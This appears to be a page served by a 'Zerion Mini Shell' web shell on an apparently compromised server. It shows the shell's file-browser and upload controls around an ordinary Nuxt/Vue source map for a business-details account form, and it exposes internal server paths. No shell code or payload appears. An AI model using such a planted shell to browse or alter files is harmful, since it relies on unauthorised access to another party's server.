%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/takeaseat.eco-n-tech.co.uk/.nuxt/dist/server/components/
Upload File :
Create Path :
Current File : //home/forge/takeaseat.eco-n-tech.co.uk/.nuxt/dist/server/components/account-business.js.map

{"version":3,"file":"components/account-business.js","sources":["webpack:///./components/slots/Block.vue?a39f","webpack:///./components/slots/Block.vue","webpack:///./components/slots/Block.vue?8d1a","webpack:///./components/slots/Block.vue?1f5b","webpack:///./components/blocks/Account/settings/AccountBusiness.vue?9202","webpack:///./components/blocks/Account/settings/AccountBusiness.vue","webpack:///./components/blocks/Account/settings/AccountBusiness.vue?8b19","webpack:///./components/blocks/Account/settings/AccountBusiness.vue?6258"],"sourcesContent":["var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('section',{staticClass:\"bg-gray py-8 md:py-20 px-4 md:px-8 mb-8\"},[_vm._ssrNode(\"<div class=\\\"max-w-xl mx-auto w-full\\\"><header class=\\\"text-center mb-10\\\"><h2\"+(_vm._ssrClass(\"text-2xl sm:text-3xl font-bold\",_vm.description ? 'mb-8' : ''))+\">\"+_vm._ssrEscape(_vm._s(_vm.title))+\"</h2> \"+((_vm.description)?(\"<p class=\\\"text-sm sm:text-base\\\">\"+_vm._ssrEscape(_vm._s(_vm.description))+\"</p>\"):\"<!---->\")+\"</header></div> \"),_vm._ssrNode(\"<div\"+(_vm._ssrClass(\"mx-auto w-full\",_vm.width ? _vm.width : 'max-w-xl'))+\">\",\"</div>\",[_vm._t(\"default\")],2)],2)}\nvar staticRenderFns = []\n\nexport { render, staticRenderFns }","//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n\nexport default {\n  props: {\n    title: {\n      type: String,\n      required: true\n    },\n    description: {\n      type: String,\n      required: false\n    },\n    width: {\n      type: String,\n      required: false,\n    }\n  }\n}\n","import mod from \"-!../../node_modules/babel-loader/lib/index.js??ref--2-0!../../node_modules/@nuxt/components/dist/loader.js??ref--0-0!../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Block.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../../node_modules/babel-loader/lib/index.js??ref--2-0!../../node_modules/@nuxt/components/dist/loader.js??ref--0-0!../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Block.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./Block.vue?vue&type=template&id=0e972406&\"\nimport script from \"./Block.vue?vue&type=script&lang=js&\"\nexport * from \"./Block.vue?vue&type=script&lang=js&\"\n\n\n/* normalize component */\nimport normalizer from \"!../../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n  script,\n  render,\n  staticRenderFns,\n  false,\n  null,\n  null,\n  \"127f880a\"\n  \n)\n\nexport default component.exports\n\n/* nuxt-component-imports */\ninstallComponents(component, {Header: require('/home/forge/takeaseat.eco-n-tech.co.uk/components/layout/Header.vue').default})\n","var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('Block',{attrs:{\"title\":\"Business Details\"}},[_c('ValidationObserver',{ref:\"form\"},[_c('form',{attrs:{\"role\":\"form\",\"method\":\"POST\"},on:{\"submit\":function($event){$event.preventDefault();return _vm.saveDetails($event)}}},[_c('div',{staticClass:\"relative mb-4\"},[_c('label',{staticClass:\"form-label\",attrs:{\"for\":\"business_type\"}},[_vm._v(\"Business Type\")]),_vm._v(\" \"),_c('select',{directives:[{name:\"model\",rawName:\"v-model\",value:(_vm.business_type),expression:\"business_type\"}],staticClass:\"form-select\",attrs:{\"name\":\"business_type\",\"id\":\"business_type\"},on:{\"change\":function($event){var $$selectedVal = Array.prototype.filter.call($event.target.options,function(o){return o.selected}).map(function(o){var val = \"_value\" in o ? o._value : o.value;return val}); _vm.business_type=$event.target.multiple ? $$selectedVal : $$selectedVal[0]}}},[_c('option',{attrs:{\"option\":\"Sole Trader\"}},[_vm._v(\"Sole Trader\")]),_vm._v(\" \"),_c('option',{attrs:{\"option\":\"Limited Business\"}},[_vm._v(\"Limited Business\")])])]),_vm._v(\" \"),_c('div',{staticClass:\"relative mb-4\"},[_c('label',{staticClass:\"form-label\",attrs:{\"for\":\"same_as_personal_address\"}},[_vm._v(\"Business Address\")]),_vm._v(\" \"),_c('label',{staticClass:\"flex items-center px-3\"},[_c('t-checkbox',{attrs:{\"name\":\"same_as_personal_address\",\"checked\":\"\"},model:{value:(_vm.is_personal_same),callback:function ($$v) {_vm.is_personal_same=$$v},expression:\"is_personal_same\"}}),_vm._v(\" \"),_c('span',{staticClass:\"block pl-2.5\"},[_vm._v(\"Same as personal address\")])],1),_vm._v(\" \"),(_vm.is_personal_same == false)?[_c('div',{staticClass:\"relative mb-4 mt-6\"},[_c('label',{staticClass:\"form-label\",attrs:{\"for\":\"business_address\"}},[_vm._v(\"Address\")]),_vm._v(\" \"),_c('ValidationProvider',{attrs:{\"rules\":\"required\"},scopedSlots:_vm._u([{key:\"default\",fn:function(ref){\nvar errors = ref.errors;\nreturn [_c('input',{directives:[{name:\"model\",rawName:\"v-model\",value:(_vm.address.address),expression:\"address.address\"}],staticClass:\"form-control\",attrs:{\"type\":\"text\",\"id\":\"business_address\",\"name\":\"address\"},domProps:{\"value\":(_vm.address.address)},on:{\"input\":function($event){if($event.target.composing){ return; }_vm.$set(_vm.address, \"address\", $event.target.value)}}}),_vm._v(\" \"),(errors[0])?_c('span',{staticClass:\"field-invalid\"},[_vm._v(_vm._s(errors[0]))]):_vm._e()]}}],null,false,2068738674)})],1),_vm._v(\" \"),_c('div',{staticClass:\"relative mb-4\"},[_c('label',{staticClass:\"form-label\",attrs:{\"for\":\"business_town\"}},[_vm._v(\"Town/City\")]),_vm._v(\" \"),_c('ValidationProvider',{attrs:{\"rules\":\"required\"},scopedSlots:_vm._u([{key:\"default\",fn:function(ref){\nvar errors = ref.errors;\nreturn [_c('input',{directives:[{name:\"model\",rawName:\"v-model\",value:(_vm.address.town_city),expression:\"address.town_city\"}],staticClass:\"form-control\",attrs:{\"type\":\"text\",\"id\":\"business_town\",\"name\":\"town\"},domProps:{\"value\":(_vm.address.town_city)},on:{\"input\":function($event){if($event.target.composing){ return; }_vm.$set(_vm.address, \"town_city\", $event.target.value)}}}),_vm._v(\" \"),(errors[0])?_c('span',{staticClass:\"field-invalid\"},[_vm._v(_vm._s(errors[0]))]):_vm._e()]}}],null,false,4086114514)})],1),_vm._v(\" \"),_c('div',{staticClass:\"relative mb-4\"},[_c('label',{staticClass:\"form-label\",attrs:{\"for\":\"business_postcode\"}},[_vm._v(\"Postcode\")]),_vm._v(\" \"),_c('ValidationProvider',{attrs:{\"rules\":\"required\"},scopedSlots:_vm._u([{key:\"default\",fn:function(ref){\nvar errors = ref.errors;\nreturn [_c('input',{directives:[{name:\"model\",rawName:\"v-model\",value:(_vm.address.postcode),expression:\"address.postcode\"}],staticClass:\"form-control\",attrs:{\"type\":\"text\",\"id\":\"business_postcode\",\"name\":\"Postcode\"},domProps:{\"value\":(_vm.address.postcode)},on:{\"input\":function($event){if($event.target.composing){ return; }_vm.$set(_vm.address, \"postcode\", $event.target.value)}}}),_vm._v(\" \"),(errors[0])?_c('span',{staticClass:\"field-invalid\"},[_vm._v(_vm._s(errors[0]))]):_vm._e()]}}],null,false,3636352082)})],1)]:_vm._e()],2),_vm._v(\" \"),_c('div',{staticClass:\"flex items-center justify-center\"},[_c('button',{staticClass:\"btn btn-small btn-primary rounded-full\",attrs:{\"type\":\"submit\"}},[(_vm.working == false)?_c('span',[_vm._v(\"Save Changes\")]):_c('span',{staticClass:\"flex items-center justify-center\"},[_c('svg',{staticClass:\"animate-spin -ml-1 mr-3 h-5 w-5 text-current\",attrs:{\"xmlns\":\"http://www.w3.org/2000/svg\",\"fill\":\"none\",\"viewBox\":\"0 0 24 24\"}},[_c('circle',{staticClass:\"opacity-25\",attrs:{\"cx\":\"12\",\"cy\":\"12\",\"r\":\"10\",\"stroke\":\"currentColor\",\"stroke-width\":\"4\"}}),_vm._v(\" \"),_c('path',{staticClass:\"opacity-75\",attrs:{\"fill\":\"currentColor\",\"d\":\"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z\"}})]),_vm._v(\" \"),_c('span',[_vm._v(\"Saving\")])])])])])])],1)}\nvar staticRenderFns = []\n\nexport { render, staticRenderFns }","//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n\nexport default {\n  data() {\n    return {\n      working: false,\n      business_type: 'Sole Trader',\n      is_personal_same: true,\n      address: {\n        address: '',\n        town_city: '',\n        postcode: ''\n      }\n    }\n  },\n\n  async mounted() {\n    await this.$axios.$get('/account/details/business').then((response) => {\n      this.business_type = response.business_type;\n      this.is_personal_same = response.is_personal_same;\n      if(response.address !== null) {\n        this.address = response.address;\n      }\n    })\n  },\n\n  methods: {\n    async saveDetails() {\n      this.$refs.form.validate().then(success => {\n        if (!success) {\n          return;\n        }\n        \n        this.working = true;\n        this.$axios.$post('/account/details/business', {\n          business_type: this.business_type,\n          is_personal_same: this.is_personal_same,\n          address: this.address\n        }).then(() => {\n          this.working = false;\n          this.$store.dispatch('account/progress/get', { slug: 'settings' })\n          this.$toast.success('Successfully updated your business settings').goAway(3000);\n        }).catch(error => {\n          this.working = false;\n          this.$refs.form.setErrors(error.response.data.errors);\n        })\n      })\n    }\n  }\n}\n","import mod from \"-!../../../../node_modules/babel-loader/lib/index.js??ref--2-0!../../../../node_modules/@nuxt/components/dist/loader.js??ref--0-0!../../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./AccountBusiness.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../../../../node_modules/babel-loader/lib/index.js??ref--2-0!../../../../node_modules/@nuxt/components/dist/loader.js??ref--0-0!../../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./AccountBusiness.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./AccountBusiness.vue?vue&type=template&id=7123b343&\"\nimport script from \"./AccountBusiness.vue?vue&type=script&lang=js&\"\nexport * from \"./AccountBusiness.vue?vue&type=script&lang=js&\"\n\n\n/* normalize component */\nimport normalizer from \"!../../../../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n  script,\n  render,\n  staticRenderFns,\n  false,\n  null,\n  null,\n  \"74aea0d8\"\n  \n)\n\nexport default component.exports\n\n/* nuxt-component-imports */\ninstallComponents(component, {Block: require('/home/forge/takeaseat.eco-n-tech.co.uk/components/slots/Block.vue').default})\n"],"mappings":";;;;;;;;;;;AAAA;AACA;AACA;;;;;ACFA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AAEA;AACA;AACA;AACA;AACA;AAFA;AAIA;AACA;AACA;AAFA;AAIA;AACA;AACA;AAFA;AATA;AADA;;AClBA;;;;;ACAA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;;;;;;;;;;;;;ACrBA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;;;;;ACRA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AAEA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AAHA;AAJA;AAUA;AACA;AACA;AACA;AACA;AACA;AACA;AAAA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AAHA;AAKA;AACA;AAAA;AAAA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AAtBA;AAxBA;;AChFA;;;;;ACAA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;;;;;A","sourceRoot":""}

Zerion Mini Shell 1.0